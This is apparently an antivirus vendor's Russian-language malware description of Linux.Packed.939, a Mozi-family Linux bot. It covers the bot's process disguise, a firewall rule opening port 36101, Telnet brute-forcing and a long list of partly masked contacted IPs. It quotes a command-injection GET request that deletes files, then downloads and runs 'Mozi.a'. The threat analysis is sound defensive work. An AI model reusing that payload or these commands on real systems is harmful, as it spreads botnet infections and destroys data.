Linux.Packed.939

Техническая информация

Вредоносные функции:

Запускает себя в качестве демона

Подменяет имя приложения на:

sshd

Модифицирует настройки брандмауэра:

iptables -I INPUT -p tcp --destination-port 36101 -j ACCEPT

Запускает процессы:

/bin/sh -c killall -9 telnetd utelnetd scfgmgr
/bin/sh -c iptables -I INPUT -p tcp --destination-port 36101 -j ACCEPT

Пытается завершает следующие процессы:

killall -9 telnetd utelnetd scfgmgr

Выполняет операции с файловой системой:

Создает или модифицирует файлы:

/root/.ips

Сетевая активность:

Ожидает входящих соединений на портах:

127.0.0.1:14737
0.0.0.0:33445
0.0.0.0:36101

Устанавливает соединение:

8.#.8.8:53
31.###.219.21:49152
19.###.207.110:5555
16#.##.196.211:52869
55.##.193.72:80
3.###.91.142:52869
21#.##.180.57:37215
15#.##5.107.54:7574
21.##.175.241:52869
17#.###.132.201:8443
7.##.5.148:7574
11#.#7.122.7:80
10#.###.89.139:37215
51.##.71.194:81
10#.##.80.240:81
94.###.103.187:80
62.###.190.38:37215
77.##.75.69:8443
41.###.65.243:5555
7.##.#02.154:5555
20#.##.215.173:8080
16#.##.43.63:37215
20#.##0.52.34:80
11#.##.115.118:80
69.###.206.83:80
14#.##.234.93:37215
12#.##8.185.33:7574
15#.##9.13.77:8080
82.###.36.76:52869
12#.##8.16.12:8080
78.##.108.189:5555
60.###.121.7:8080
14#.##.219.30:7574
22#.##.13.150:49152
6.###.232.15:5555
19#.###.247.206:8443
21#.##.188.251:8080
21#.##.208.86:8443
13#.##8.113.188:80
11#.##2.67.219:81
11#.##5.62.65:81
11#.##7.213.93:80
18#.##8.218.231:81
19#.##4.30.142:8080
74.###.1.205:7574
10#.#.225.35:52869
76.###.67.29:8080
10#.##.26.7:49152
11#.##.199.104:80
18#.##0.17.121:81
16#.###.108.149:37215
21#.##.34.94:8443
13.##.211.47:8080
17#.##.78.17:7574
19.##1.169.4:81
89.##.11.203:8080
17#.##.193.30:5555
13#.##6.182.46:80
14#.##.156.23:37215
15.##.38.160:5555
25.###.26.163:80
78.###.187.233:52869
12#.##5.48.123:80
53.###.2.10:8080
28.###.26.110:37215
16#.###.165.66:49152
10#.##3.165.15:8080
20#.##.183.131:49152
56.###.72.83:49152
14#.##2.70.54:52869
34.###.20.76:5555
38.###.231.25:80
41.###.251.19:80
97.###.185.55:7574
18#.##5.195.73:80
15#.##1.154.62:81
72.##.113.143:80
65.###.140.91:8080
13#.##6.82.184:5555
16#.###.170.214:8080
13#.##2.178.140:80
14#.##.110.217:7574
89.###.172.124:8080
18#.###.218.86:49152
13#.###.232.240:52869
59.##.183.190:37215
82.###.213.195:8080
84.###.27.208:80
70.#.#44.184:7574
54.###.209.130:8080
17#.##.97.244:80
14#.###.229.189:7574
81.###.119.34:8080
64.###.118.96:8080
20#.##.108.140:81
11#.###.25.142:52869
16#.##.164.35:8443
25.###.49.16:8080
46.###.96.250:80
11#.##.246.54:5555
21#.##6.104.75:8443
21#.##4.232.100:80
18#.#7.82.46:80
14#.##8.241.41:8080
6.###.120.127:80
56.##.252.121:81
38.##4.9.22:80
12#.##.50.66:37215
36.#.25.32:8080
11#.###.197.240:8080
21#.##.89.146:52869
21#.##2.247.0:8443
72.###.28.130:80
11#.##0.100.63:80
<LOCAL_GATE>03:80
10#.##7.32.25:80
21#.##9.223.144:81
52.###.7.100:8080
19#.###.71.201:52869
12#.##.170.164:37215
17#.##.128.138:37215
69.##.147.83:80
28.###.27.197:81
10#.##.240.111:7574
11#.###.190.245:5555
17#.##1.245.40:8080
19#.##8.119.79:8443
39.##.11.6:52869
91.##.210.74:80
37.###.205.32:80
41.###.18.236:49152
10#.##8.201.19:80
20#.##8.214.238:80
65.###.214.107:80
2.###.169.127:8080
20#.##.219.140:80
14#.##.65.138:80
11#.##.235.19:80
85.###.229.172:7574
51.##.46.48:8443
21#.##.107.22:80
89.##.141.91:49152
19#.###.245.196:7574
22#.##.117.119:80
30.##7.8.198:80
16.###.62.172:49152
19#.###.60.229:49152
15.###.237.84:80
18#.##.56.38:8080
39.###.10.210:81
20#.##2.142.40:7574
14#.##.179.252:80
20#.##9.31.243:80
20#.###.115.49:49152
12#.##.80.117:37215
19.##.37.165:8080
71.##.236.105:80
12#.##0.183.59:80
64.###.188.254:5555
18#.##.11.221:81
17#.##4.179.221:80
14#.##.86.230:5555
15#.##.59.66:37215
22#.###.133.160:8080
11#.##9.24.42:8080
13.###.26.199:49152
78.##1.53.66:80
11#.##.116.4:5555
98.#.81.108:81
62.##.70.221:80
42.###.61.197:80
39.##.161.134:37215
15#.##.214.66:52869
20.###.125.112:80
12#.##3.232.124:80
16#.###.219.95:52869
20#.##8.221.51:80
15#.##2.26.2:8443
83.##.14.247:80
75.###.94.251:5555
82.##.97.109:52869
51.###.205.78:80
15#.#2.65.42:80
19#.##6.226.97:81
17#.###.251.184:49152
10#.##0.155.72:8080
15#.##.101.98:8080
17#.###.23.234:49152
21#.##.172.171:8080
95.###.1.104:8080
14#.##9.150.97:81
44.##.132.249:81
40.##.200.135:80
17#.##.236.18:81
16#.##4.55.83:81
19.##.119.136:8080
13#.##.3.253:5555
13#.##5.16.43:8080
5.###.231.111:8080
19#.#1.75.10:81
53.###.51.197:52869
50.###.55.60:52869
18.###.179.64:8080
15#.#8.19.63:81
19#.###.215.26:52869
21.###.189.251:5555
89.###.31.113:8080
16#.##.143.225:52869
80.##.211.120:52869
24.##.42.8:80
16#.##.8.207:8080
68.#.#68.215:49152
19#.##8.95.195:81
19#.##5.212.215:80
72.##.91.92:49152
87.##.69.120:81
13#.##2.146.178:81
19#.###.154.222:49152
50.##.192.191:5555
29.##.171.195:80
11#.##5.212.125:81
43.##.232.161:80
43.##.25.193:8080
61.###.138.148:37215
20#.###.225.41:37215
76.###.20.244:7574
21#.##.177.95:8080
19#.#.61.32:5555
25.##.238.249:8080
11#.##.115.120:5555
16#.##6.32.143:8080
73.###.143.96:37215
40.##.118.148:8080
19#.##4.218.228:80
10#.###.184.149:52869
98.###.6.36:5555
13#.##4.83.4:52869
12#.##0.92.232:8080
22#.##0.26.131:7574
16#.##8.83.71:8080
21#.##6.17.93:52869
16#.##.24.162:5555
18#.###.229.147:8443
39.##.42.239:80
10#.##.208.47:81
17#.###.74.244:52869
19#.##5.5.138:37215
24.###.47.131:81
13#.##2.198.122:81
9.##.#7.55:52869
12#.##.100.204:81
16#.###.144.190:37215
16#.##5.136.15:7574
75.#.#2.251:52869
16#.##7.241.0:8080
16#.##.203.120:80
47.###.229.27:80
10#.##.39.211:52869
67.###.221.251:80
10#.##6.191.82:80
17#.##6.120.75:8080
39.#.#.145:49152
35.###.49.176:8080
62.###.141.232:80
63.##.252.131:7574
19.##.101.214:8080
56.###.49.197:8080
40.##.230.1:8080
42.###.134.46:52869
20#.###.106.143:8080
15#.##7.43.161:5555
46.#.#28.223:52869
37.##2.66.90:80
11#.##.118.199:8080
10#.##8.63.193:81
17#.##5.148.202:81
23.##.168.45:81
20#.##.30.17:8080
21#.##.140.201:8443
16#.##.178.227:8080
61.##.105.69:8443
10#.##.43.17:7574
19#.##8.215.233:80
10#.##7.38.86:80
21#.##9.195.95:5555
19#.##0.72.84:37215
22.###.65.205:8080
10#.##1.38.107:8080
16#.##0.64.44:7574
89.##.113.130:8443
15#.##.212.41:80
3.##.23.127:80
61.###.92.80:8080
63.##.196.30:8080
13#.#.224.19:81
14#.###.197.177:37215
12#.##.160.168:52869

Проводит атаку перебором по словарю (брутфорс) по протоколу Telnet.

HTTP GET-запросы:

17#.###.#.###################;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

Посылает данные следующим серверам:

23#.###.255.250:1900
23.###.114.224:1023
19#.##7.4.144:2323
38.###.244.196:2323
65.##.233.34:2323
21#.##.155.97:2323
18#.###.207.246:2323
95.###.18.96:2323
83.###.223.84:2323
10#.##.110.255:2323
17#.##3.50.146:2323
18#.###.130.133:2323
97.###.205.163:2323
15#.##.64.132:2323
21#.##2.104.22:1023
16#.###.217.162:2323
15#.##.169.165:2323
21#.###.110.223:2323
63.###.224.150:1023
13#.##0.2.55:2323
18#.#.253.118:2323
10#.##5.34.140:2323
11#.##.174.203:2323
14#.###.132.181:2323
48.##.57.104:2323
60.##.22.239:2323
77.###.247.78:2323
84.###.235.240:2323
1.###.124.92:2323
11#.###.167.164:2323
67.###.153.145:2323
13#.###.118.195:1023
14#.##1.9.49:2323
34.###.90.48:2323
14#.#.213.142:2323
16#.##.57.251:1023
13#.##8.80.11:2323
16#.##8.45.12:2323
17#.##2.234.48:2323
86.#.#7.108:2323
20#.##.141.55:2323
19#.##8.215.66:2323
19#.###.235.243:2323
5.##.#61.168:2323
16#.##4.89.218:2323
19.###.134.24:2323
11#.##3.81.167:2323
11#.##2.13.107:2323
5.###.177.34:1023
20#.###.103.217:2323
10#.##.150.183:2323
13#.###.137.187:2323
10#.##1.238.52:1023
18#.##.116.223:2323
5.##.#55.166:2323
19#.##4.60.213:2323
62.##.0.177:2323
20#.##.205.144:2323
46.###.96.140:2323
16#.##3.143.45:2323
31.#.#4.233:2323
19#.###.141.159:2323
12#.##9.244.81:2323
89.##.191.66:2323
20#.##9.38.196:2323
11#.##8.12.104:1023
20.###.85.177:2323
78.##.73.5:2323
21#.##3.13.193:2323

Прочее:

Собирает информацию о сетевой активности

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению